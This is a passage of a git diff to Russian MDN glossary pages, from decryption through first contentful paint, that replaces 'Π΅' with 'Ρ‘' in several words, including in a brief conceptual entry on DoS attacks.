-<p>Π”Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ это ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ процСсс {{glossary("encryption")}} ΠΈ Ссли ΠΊΠ»ΡŽΡ‡ остаСтся Π² Ρ‚Π°ΠΉΠ½Π΅, Π΄Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ матСматичСски слоТным. Π‘Ρ‚Π΅ΠΏΠ΅Π½ΡŒ слоТности зависит ΠΎΡ‚ уровня бСзопасности Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ…Β ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΡ‡Π΅ΡΠΊΠΈΡ… Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠ² ΠΈ ΡΠ²ΠΎΠ»ΡŽΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ с Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ΠΌ {{glossary("cryptanalysis")}}.</p>
+<p>Π”Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ это ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ процСсс {{glossary("encryption")}} ΠΈ Ссли ΠΊΠ»ΡŽΡ‡ остаётся Π² Ρ‚Π°ΠΉΠ½Π΅, Π΄Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ матСматичСски слоТным. Π‘Ρ‚Π΅ΠΏΠ΅Π½ΡŒ слоТности зависит ΠΎΡ‚ уровня бСзопасности Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ…Β ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΡ‡Π΅ΡΠΊΠΈΡ… Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠ² ΠΈ ΡΠ²ΠΎΠ»ΡŽΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ с Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ΠΌ {{glossary("cryptanalysis")}}.</p>
<h2 id="ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅">ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</h2>
diff --git a/files/ru/glossary/developer_tools/index.html b/files/ru/glossary/developer_tools/index.html
index e27a125770..4b471c5d68 100644
--- a/files/ru/glossary/developer_tools/index.html
+++ b/files/ru/glossary/developer_tools/index.html
@@ -7,7 +7,7 @@ tags:
translation_of: Glossary/Developer_Tools
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°
---
-<p>Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° (ΠΎΡ‚ Π°Π½Π³Π».Β "development tools" ΠΈΠ»ΠΈ сокращСнно "DevTools") - это ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ, Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ ({{Glossary("debug")}}) ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС.</p>
+<p>Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° (ΠΎΡ‚ Π°Π½Π³Π».Β "development tools" ΠΈΠ»ΠΈ сокращённо "DevTools") - это ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ, Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ ({{Glossary("debug")}}) ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС.</p>
<p>Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ встроСнныС инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходный ΠΊΠΎΠ΄ сайта. Π‘ ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒΒ {{Glossary("HTML")}} сайта, Π΅Π³ΠΎΒ {{Glossary("CSS")}} ΠΈΒ {{Glossary("JavaScript")}}. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎΒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ сСтСвой Ρ‚Ρ€Π°Ρ„ΠΈΠΊ, потрСбляСмый сайтом, Π΅Π³ΠΎ быстродСйствиС ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ².</p>
diff --git a/files/ru/glossary/dom/index.html b/files/ru/glossary/dom/index.html
index e6296a10b4..e866b56f26 100644
--- a/files/ru/glossary/dom/index.html
+++ b/files/ru/glossary/dom/index.html
@@ -10,7 +10,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/DOM
<p>DOM это ΡΠ°ΠΌΡ‹ΠΉΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉΒ {{Glossary("API")}} Π² {{glossary("World Wide Web","Web")}} ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ΄Ρƒ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½ΠΎΠΌΡƒ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ доступ ΠΈ взаимодСйствиС с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Π£Π·Π»Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΊ ΡƒΠ·Π»Π°ΠΌ ΠΈ ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΏΡ€ΠΈ наступлСнии Π΄Π°Π½Π½ΠΎΠ³ΠΎ события.</p>
-<p>DOM Π½Π΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ β€” ΠΎΠ½Β ΠΏΡ€ΠΈΡˆΠ΅Π»Β ΠΊΠΎΠ³Π΄Π°Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π°Ρ‡Π°Π»ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒΒ {{Glossary("JavaScript")}}. Π­Ρ‚ΠΎΡ‚ унаслСдованный DOM ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚Β DOM 0. БСгодня, W3C Ρ€ΡƒΠΊΠΎΠ²ΠΎΠ΄ΠΈΡ‚ процСссом спСцификации DOM, ΠΈ DOM Working Group Π² настоящСС Π²Ρ€Π΅ΠΌΡΒ ΠΏΠΎΠ΄Π³ΠΎΡ‚Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ 4-ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ.</p>
+<p>DOM Π½Π΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ β€” ΠΎΠ½Β ΠΏΡ€ΠΈΡˆΡ‘Π»Β ΠΊΠΎΠ³Π΄Π°Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π°Ρ‡Π°Π»ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒΒ {{Glossary("JavaScript")}}. Π­Ρ‚ΠΎΡ‚ унаслСдованный DOM ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚Β DOM 0. БСгодня, W3C Ρ€ΡƒΠΊΠΎΠ²ΠΎΠ΄ΠΈΡ‚ процСссом спСцификации DOM, ΠΈ DOM Working Group Π² настоящСС Π²Ρ€Π΅ΠΌΡΒ ΠΏΠΎΠ΄Π³ΠΎΡ‚Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ 4-ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ.</p>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС">Π£Π·Π½Π°Ρ‚ΡŒΒ Π±ΠΎΠ»ΡŒΡˆΠ΅</h2>
diff --git a/files/ru/glossary/domain_name/index.html b/files/ru/glossary/domain_name/index.html
index 0efde95c0d..ec4f38a9c3 100644
--- a/files/ru/glossary/domain_name/index.html
+++ b/files/ru/glossary/domain_name/index.html
@@ -12,7 +12,7 @@ tags:
translation_of: Glossary/Domain_name
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Domain_name
---
-<p><span id="result_box" lang="ru"><span>Имя Π΄ΠΎΠΌΠ΅Π½Π° являСтся адрСсом Π²Π΅Π±-сайта Π² </span></span> {{Glossary("Internet","ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅")}}. Π”ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² {{Glossary("URL","URLs")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСрвСр, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ находится опрСдСлСнная Π²Π΅Π±-страница. <span id="result_box" lang="ru"><span>Имя Π΄ΠΎΠΌΠ΅Π½Π° состоит ΠΈΠ· иСрархичСской ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠΌΠ΅Π½ (ΠΌΠ΅Ρ‚ΠΎΠΊ), Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΈ Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°ΡŽΡ‰Π΅ΠΉΡΡΒ </span></span>Β  {{glossary("TLD","Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня")}}.</p>
+<p><span id="result_box" lang="ru"><span>Имя Π΄ΠΎΠΌΠ΅Π½Π° являСтся адрСсом Π²Π΅Π±-сайта Π² </span></span> {{Glossary("Internet","ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅")}}. Π”ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² {{Glossary("URL","URLs")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСрвСр, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ находится опрСдСлённая Π²Π΅Π±-страница. <span id="result_box" lang="ru"><span>Имя Π΄ΠΎΠΌΠ΅Π½Π° состоит ΠΈΠ· иСрархичСской ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠΌΡ‘Π½ (ΠΌΠ΅Ρ‚ΠΎΠΊ), Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΈ Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°ΡŽΡ‰Π΅ΠΉΡΡΒ </span></span>Β  {{glossary("TLD","Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня")}}.</p>
<h2 id="ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅">ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</h2>
diff --git a/files/ru/glossary/dos_attack/index.html b/files/ru/glossary/dos_attack/index.html
index da78b43cb6..96c1cefffb 100644
--- a/files/ru/glossary/dos_attack/index.html
+++ b/files/ru/glossary/dos_attack/index.html
@@ -6,13 +6,13 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/DOS_attack
---
<p id="Summary">DoS (ΠΎΡ‚ΠΊΠ°Π· Π² обслуТивании) - это сСтСвая Π°Ρ‚Π°ΠΊΠ°, которая прСпятствуСт ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌΡƒΒ Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡŽ рСсурсов {{glossary ('server')}}, нагруТая сСрвСр "Π»ΠΎΠΆΠ½Ρ‹ΠΌΠΈ", "Ρ„ΠΈΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ" запросами.</p>
-<p id="In_Depth">ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹Π΅ рСсурсы, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ мощности(процСссорная частота)Β ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ памяти. Когда ΠΎΠ½ΠΈ исчСрпаны, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π²ΠΈΡΠ½ΡƒΡ‚ΡŒ ΠΈΠ»ΠΈ Π°Π²Π°Ρ€ΠΈΠΉΠ½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, дСлая Π΅Π΅ нСдоступной. DoS-Π°Ρ‚Π°ΠΊΠ° состоит ΠΈΠ· Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… ΠΈΡΡ‡Π΅Ρ€ΠΏΠ°Ρ‚ΡŒ эти рСсурсы ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ сСрвСр ΠΈΠ»ΠΈ ΡΠ΅Ρ‚ΡŒ нСдоступными для ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ…Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈΠ»ΠΈ, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСрвСр Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ</p>
+<p id="In_Depth">ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹Π΅ рСсурсы, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ мощности(процСссорная частота)Β ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ памяти. Когда ΠΎΠ½ΠΈ исчСрпаны, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π²ΠΈΡΠ½ΡƒΡ‚ΡŒ ΠΈΠ»ΠΈ Π°Π²Π°Ρ€ΠΈΠΉΠ½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, дСлая Π΅Ρ‘ нСдоступной. DoS-Π°Ρ‚Π°ΠΊΠ° состоит ΠΈΠ· Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… ΠΈΡΡ‡Π΅Ρ€ΠΏΠ°Ρ‚ΡŒ эти рСсурсы ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ сСрвСр ΠΈΠ»ΠΈ ΡΠ΅Ρ‚ΡŒ нСдоступными для ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ…Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈΠ»ΠΈ, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСрвСр Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ</p>
-<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ распрСдСлСнныС Π°Ρ‚Π°ΠΊΠΈ Ρ‚ΠΈΠΏΠ° Β«ΠΎΡ‚ΠΊΠ°Π· Π² обслуТивании» (DDoS), Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ мноТСство сСрвСров-Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ², Π½Π°Ρ†Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π½Π° исчСрпания Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ мощности Π°Ρ‚Π°ΠΊΡƒΠ΅ΠΌΠΎΠ³ΠΎΒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°.</p>
+<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ распрСдСлённыС Π°Ρ‚Π°ΠΊΠΈ Ρ‚ΠΈΠΏΠ° Β«ΠΎΡ‚ΠΊΠ°Π· Π² обслуТивании» (DDoS), Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ мноТСство сСрвСров-Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ², Π½Π°Ρ†Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π½Π° исчСрпания Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ мощности Π°Ρ‚Π°ΠΊΡƒΠ΅ΠΌΠΎΠ³ΠΎΒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°.</p>
<h3 id="Π’ΠΈΠΏΡ‹_DoS_Π°Ρ‚Π°ΠΊ">Π’ΠΈΠΏΡ‹ DoS Π°Ρ‚Π°ΠΊ</h3>
-<p>DoS-Π°Ρ‚Π°ΠΊΠΈ - это большС катСгория, Ρ‡Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π²ΠΈΠ΄ Π°Ρ‚Π°ΠΊ. Π’ΠΎΡ‚ Π½Π΅ΠΏΠΎΠ»Π½Ρ‹ΠΉ список Ρ‚ΠΈΠΏΠΎΠ² DoS-Π°Ρ‚Π°ΠΊ:</p>
+<p>DoS-Π°Ρ‚Π°ΠΊΠΈ - это большС катСгория, Ρ‡Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π²ΠΈΠ΄ Π°Ρ‚Π°ΠΊ. Π’ΠΎΡ‚ Π½Π΅ΠΏΠΎΠ»Π½Ρ‹ΠΉ список Ρ‚ΠΈΠΏΠΎΠ² DoS-Π°Ρ‚Π°ΠΊ:</p>
<ul>
<li> Атака пропускной способности</li>
diff --git a/files/ru/glossary/encapsulation/index.html b/files/ru/glossary/encapsulation/index.html
index 07d2b98deb..35aac0b411 100644
--- a/files/ru/glossary/encapsulation/index.html
+++ b/files/ru/glossary/encapsulation/index.html
@@ -7,7 +7,7 @@ tags:
translation_of: Glossary/Encapsulation
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Encapsulation
---
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π½ΠΊΠ°ΠΏΡΡƒΠ»ΡΡ†ΠΈΡ - это ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ</span></span> {{glossary("function","functions")}} <span class="tlid-translation translation" lang="ru"><span title="">Π² ΠΎΠ΄ΠΈΠ½ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚</span></span> (<span class="tlid-translation translation" lang="ru"><span title="">Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span></span>, {{glossary("class")}}) ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ доступа ΠΊ этому ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρƒ, создавая Ρ‚Π΅ΠΌ самым "Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ ящик" ΠΈΠ· {{glossary("object")}}. По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅, <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ </span></span>Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π½Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ интСрфСйс этого класса (<span class="tlid-translation translation" lang="ru"><span title="">Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, прСдоставляСмыС для взаимодСйствия с классом</span></span> ΠΈΠ·Π²Π½Π΅), Π° Π½Π΅ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ.</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π½ΠΊΠ°ΠΏΡΡƒΠ»ΡΡ†ΠΈΡ - это ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ</span></span> {{glossary("function","functions")}} <span class="tlid-translation translation" lang="ru"><span title="">Π² ΠΎΠ΄ΠΈΠ½ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚</span></span> (<span class="tlid-translation translation" lang="ru"><span title="">Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span></span>, {{glossary("class")}}) ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ доступа ΠΊ этому ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρƒ, создавая Ρ‚Π΅ΠΌ самым "Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ ящик" ΠΈΠ· {{glossary("object")}}. По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅, <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ </span></span>Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π½Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ интСрфСйс этого класса (<span class="tlid-translation translation" lang="ru"><span title="">Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, прСдоставляСмыС для взаимодСйствия с классом</span></span> ΠΈΠ·Π²Π½Π΅), Π° Π½Π΅ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ.</p>
<h2 id="Π˜Π·ΡƒΡ‡ΠΈΡ‚ΡŒ_большС">Π˜Π·ΡƒΡ‡ΠΈΡ‚ΡŒ большС</h2>
diff --git a/files/ru/glossary/first_contentful_paint/index.html b/files/ru/glossary/first_contentful_paint/index.html
index 65348eaf2a..05d5bd400b 100644
--- a/files/ru/glossary/first_contentful_paint/index.html
+++ b/files/ru/glossary/first_contentful_paint/index.html
@@ -6,7 +6,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/First_contentful_paint
---
